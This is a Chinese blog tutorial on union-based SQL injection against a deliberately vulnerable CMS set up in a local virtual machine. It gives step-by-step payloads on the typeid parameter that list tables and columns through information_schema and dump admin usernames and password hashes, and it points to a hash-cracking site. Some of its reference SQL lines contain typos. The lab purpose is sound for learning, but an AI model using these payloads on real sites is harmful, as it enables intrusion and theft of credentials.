SQL注入实战之联合查询篇(含漏洞网站搭建)
环境搭建
- 这里使用的windows2003+phpstudy2018+sdy1.5
- 我们解压sdy1.5至phpstudy下WWW文件内,在浏览器中输入127.0.0.1/sdy1.5进行安装
-
一路通过即可,我就不再赘述。
-
至此安装成功界面如下,下面我们就进入紧张刺激的实战演练环节喽。
-
SQL注入环节
- 查看一下虚拟机的IP地址,为了流畅性我就在本机进行SQL注入实战了。(当然两个主机需要ping通了)
- 在浏览器中输入192.168.233.146:/jdy1.5
- 观察当前页面的URL:http://192.168.233.146/jdy1.5/typeid.php?typeid=2 我们发现此处的typeid特别像此前sql-lab中的id参数,可以尝试一下注入。
输入命令: ?typeid=2 and 1=1
观察到页面没有变化
此时我们观察出与以前的页面发生了变化,可以断定此处存在 数字型的SQL注入。(所以不用考虑参数闭合的问题) - 此时,根据往常的思路,我们通过order by 语句判断出数据库的列数。
输入命令:?typeid =2 order by 5
?typeid = 2 order by 6
5正常回显,6错误回显,判断出列数为5. - 我们以联合查询(union select)为例,观察回显位置。
输入命令:?typeid = 2 and 1=2 union select 1,2,3,4,5
可以观察出2的位置可以回显,以此为输出位置,接下来进行爆库操作。
注:此处的 and 1=2 为恒定错误语句 作用就是注释前面的语句,只执行了 union select 1,2,3,4,5 - 输入命令:?typeid = 2 and 1=2 union select 1,database(),3,4,5
可以观察到回显出了当前数据库jdycms -
在进行爆库爆表等等操作之前,先来回忆一下这些核心语句。
information_schema 系统默认数据库
三个重要的表
schemata(schema_name)
tables(table_schema,table_name)
columns(table_schema,table_name,column_name)
select schema_name from information_schema.schemata; 爆库
select table_name from information_schema.shcemata where table_schema='dvwa'; 爆表
select column_name from information_schema.columns where table_name='users' and colunm_name ='dvwa';爆列
select username,password from dvwa.users;爆内容 - 爆库操作和上上步中的database()相同,我就不再进行此操作,直接爆库。
输入命令:?typeid = 2 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema=database()
and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema=0x6a6479636d73
最后不能直接用jdycms,需要将其转换成十六进制或者依旧用datbase()代替。 - 此处利用一个group_concat函数使其全部显示,或者利用limit 函数逐一查询。
输入命令:?typeid = 2 and 1=2 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database() -
爆列
输入命令:and 1=2 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=0x6a6479636d73 and table_name=0x6a64795f61646d696e - 爆内容
输入命令:and 1=2 union select 1,group_concat(concat_ws(0x7e,username,password)),3,4,5 from jdycms.jdy_admin
此处同时使用了concat_ws()和group_concat()两个函数,详细使用说明可以自己查询哦。0x7e就是波浪线,波浪线连接用户名和密码。
最后我们登录解码网站解码www.cmd5.com
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· .NET Core 中如何实现缓存的预热?
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
· 【译】Visual Studio 中新的强大生产力特性